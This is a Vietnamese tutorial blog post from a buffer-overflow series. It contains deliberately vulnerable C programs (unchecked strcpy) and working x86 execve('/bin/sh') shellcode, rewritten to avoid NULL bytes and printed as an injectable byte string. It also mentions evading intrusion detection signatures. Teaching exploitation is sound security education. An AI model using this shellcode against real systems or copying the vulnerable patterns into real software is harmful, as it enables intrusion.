Lỗi tràn bộ đệm [8]: căn bản về shellcodes

Ngô Quang Hưng | 13 tháng 06, 2006 | Bản để in Bản để in

Ta đã biết sơ cách viết shellcode, một đoạn mã máy làm việc gì đó như in ra “Hello World” hoặc khởi động một shell. Bây giờ, giả dụ ta có một chương trình bị tràn bộ đệm (thường được gọi là chương trình có nhược điểm, hay vulnerable code), làm thế nào để “bắt” chương trình này chạy shellcode? Có khá nhiều vấn đề thú vị cần giải quyết. Bốn vấn đề chính là:

  1. Vấn đề NULL-byte: vulnerable code đọc dữ liệu vào buffer của nó mà không kiểm tra kích thước, vì thế bị tràn bộ đệm. Ví dụ như chương trình sau đây
    /*
     * vuln_lb.c : This is a vulnerable program with a large buffer
     */
    #include <stdio.h>
    
    int main(int argc, char **argv) {
      char buffer[500];
      if (argv[1] != NULL) {
        strcpy(buffer, argv[1]);
      }
      return 0;
    }

    Hàm strcpy sẽ copy cho đến khi nó thấy NULL-byte, đánh dấu hết chuỗi nhập, thì nó dừng. Nhưng nhỡ khi shellcode của ta có NULL-byte trong đó thì sao? Shellcode sẽ bị ngắt đoạn giữa chừng. Cái shellcode chứa mã máy, hoàn toàn có khả năng có NULL-byte trong đó. Vì thế, vấn đề đầu tiên ta phải giải quyết là tìm cách viết shellcode không có byte nào bằng 0.

  2. Để shellcode ở chỗ nào? Trong trường hợp như trên thì buffer bị tràn có 500 bytes, đủ để ta đặt một shellcode nho nhỏ vào. Nhưng có các chương trình mà buffer chỉ có vài bytes, ví dụ như chương trình sau
    /*
     * vuln_sb.c : This is a vulnerable program with a short buffer
     */
    #include <stdio.h>
    
    int main(int argc, char **argv) {
      char buffer[5];
      if (argv[1] != NULL) {
        strcpy(buffer, argv[1]);
      }
      return 0;
    }

    chỉ có 5 bytes, không đủ để đặt shellcode. Làm thế nào để tận dụng các vulnerable program với buffer nhỏ thế này?

  3. Tránh signature detection. Rất nhiều các Intrusion Detection Systems dò dữ liệu nhập để tìm signature của các shellcodes phổ biến, và báo cáo cho hệ thống biết. Làm thế nào để viết shellcode hiện thực một tác vụ phổ biến (gọi một shell) mà signature của shellcode không bị dò ra?
  4. Stack không execute được (non-executable stack). Nhiều phiên bản mới của các hệ điều hành không cho chạy mã trên stack (ví dụ như OpenBSD và FreeBSD). Với các hệ điều hành này ta không thể đặt shellcode vào buffer bị tràn. Phải tìm chỗ khác (hoặc cách khác) để exploit các chương trình chạy trên các hệ điều hành này.

Lần này ta giải quyết vấn đề dễ nhất: vấn đề NULL-byte. Lần trước ta đã có ví dụ shellcode sau

;;
;; shellcode without using data segment
;;
USE32

  jmp short two
one:
  pop ebx                ; ebx is where name[0] is supposed to go
  mov eax, 0             ; put 0 into eax
  mov [ebx+7], al        ; replace X at the end by 0, now it's null-terminated
  lea ecx, [ebx+8]       ; ecx is where name is supposed to go
  mov [ecx], ebx         ; replace nam0 by pointer to the path string
  mov [ecx+4], eax       ; replace nam1 by 0x00000000 (NULL)
  xor edx, edx           ; edx contains NULL too
  mov eax, 11            ; 11 is the system call number of execve
  int 0x80               ; finally, invoke the system call
two:
  call one
  db '/bin/shXnam0nam1'

Sau khi kiểm tra mã máy (dùng bct), dễ thấy rằng NULL-byte là do lệnh move eax, 0 (4 bytes bằng 0) và mov eax, 11 (3 bytes đầu của 11 bằng 0). Dễ dùng assembly để giải quyết vấn đề này:

;;
;; shellcode without NULL byte
;;
USE32

  jmp short two
one:
  pop ebx                ; ebx is where name[0] is supposed to go
  xor eax, eax           ; put 0 into eax
  mov [ebx+7], al        ; replace X at the end by 0, now it's null-terminated
  lea ecx, [ebx+8]       ; ecx is where name is supposed to go
  mov [ecx], ebx         ; replace ---- by pointer to the path string
  mov [ecx+4], eax       ; replace ++++ by 0x00000000 (NULL)
  xor edx, edx           ; edx contains NULL too
  mov al, 11             ; 11 is the system call number of execve
  int 0x80               ; finally, invoke the system call
two:
  call one
  db '/bin/shX----++++'

Bây giờ ta thử lại

[NQH] hanoi:~/BO$ bct -p ex10
----------------------
Printing your code ...
----------------------

char bytecode[] =
   "\xeb\x14\x5b\x31\xc0\x88\x43\x07\x8d\x4b\x08\x89\x19\x89\x41\x04"
   "\x31\xd2\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f"
   "\x73\x68\x58\x2d\x2d\x2d\x2d\x2b\x2b\x2b\x2b";

[NQH] hanoi:~/BO$ bct ex10
----------------------
Calling your code ...
----------------------
sh-2.05b$ exit
exit

và thấy rằng shellcode của ta không có byte 0 nào nữa! Chú ý cách dùng thanh ghi 8-bit al (byte cuối của eax) để chép 11 vào eax.

Bài tập 2: viết lại chương trình “Hello World” sao cho bytecode không có NULL-byte.

Bài tập 3: viết một bytecode làm các công việc sau (mà không có NULL byte):

  • Mở file tên là “your-name.txt”
  • Viết chuỗi “Gotcha! Gotcha! Gotcha!”, trong đó thay hai khoảng trắng bằng các NULL bytes.
  • Đóng file và exit.

Lần tới ta sẽ nói đến vài chỗ để shellcode và vài cách exploit các chương trình bị lỗi địa phương (local program, nghĩa là không phải exploit qua mạng).

Chủ đề: Bảo mật và mật mã học |

Ghi lời bình của bạn: